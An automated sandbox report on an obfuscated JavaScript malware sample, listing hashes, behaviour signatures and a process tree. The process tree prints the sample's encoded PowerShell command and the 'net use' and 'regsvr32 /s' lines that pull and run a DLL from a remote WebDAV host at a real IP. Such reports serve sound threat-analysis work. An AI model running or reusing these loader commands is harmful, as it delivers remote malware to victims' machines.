Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
13-11-2024 02:38
Static task
static1
Behavioral task
behavioral1
Sample
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
Resource
win10v2004-20241007-en
General
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Target
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
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Size
1.2MB
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MD5
efe60dd7bcf2ac31c217672d3e07f2a8
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SHA1
0a2191ac365331ed37acdf727153436d154f2296
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SHA256
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e
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SHA512
de1c89f5f2cb8229cc47d37b41c44303de5a47688918d9f007d7b1625259ae683771320f18c938670b3ff32d39b19d5707520ca88eb8aa48a74ce44f645503a0
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SSDEEP
12288:jKO22qmJBFrbgRy/jM6uRrbYCXslYK5UV:jKO2mz9bgsA6uZbYC8J5UV
Malware Config
Signatures
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Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 2528 timeout.exe -
Runs net.exe
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
regsvr32.exepid Process 2560 regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid Process 2668 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2668 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 1596 wrote to memory of 2668 1596 wscript.exe 28 PID 1596 wrote to memory of 2668 1596 wscript.exe 28 PID 1596 wrote to memory of 2668 1596 wscript.exe 28 PID 2668 wrote to memory of 2528 2668 powershell.exe 30 PID 2668 wrote to memory of 2528 2668 powershell.exe 30 PID 2668 wrote to memory of 2528 2668 powershell.exe 30 PID 2668 wrote to memory of 2728 2668 powershell.exe 31 PID 2668 wrote to memory of 2728 2668 powershell.exe 31 PID 2668 wrote to memory of 2728 2668 powershell.exe 31 PID 2728 wrote to memory of 1532 2728 cmd.exe 32 PID 2728 wrote to memory of 1532 2728 cmd.exe 32 PID 2728 wrote to memory of 1532 2728 cmd.exe 32 PID 2668 wrote to memory of 2788 2668 powershell.exe 33 PID 2668 wrote to memory of 2788 2668 powershell.exe 33 PID 2668 wrote to memory of 2788 2668 powershell.exe 33 PID 2788 wrote to memory of 2560 2788 cmd.exe 34 PID 2788 wrote to memory of 2560 2788 cmd.exe 34 PID 2788 wrote to memory of 2560 2788 cmd.exe 34 PID 2788 wrote to memory of 2560 2788 cmd.exe 34 PID 2788 wrote to memory of 2560 2788 cmd.exe 34
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js1⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADIAMQA1ADYANAA2ADIAMgAyADcAMQA1ADQALgBkAGwAbAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:2528
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:1532
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll3⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll4⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2560
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